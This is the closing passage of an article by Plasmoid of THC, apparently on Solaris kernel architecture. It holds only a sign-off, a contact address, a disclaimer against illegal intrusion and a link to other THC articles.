      time with me talking about Solaris' kernel-architecture.

      If you have ideas, critisism or further questions, please
      contact me at plasmoid@pimmel.com. I am thankful for improving
      suggestions. Just don't forget this article is not designed for
      script kiddies, intrusion is illegal and I don't have the
      ambition to help you hacking into some lame provider systems.
      If you read this far, you might also be interested in one of
      the other THC articles or magazines at
      http://www.infowar.co.uk/thc/.

      have fun,
      Plasmoid / THC




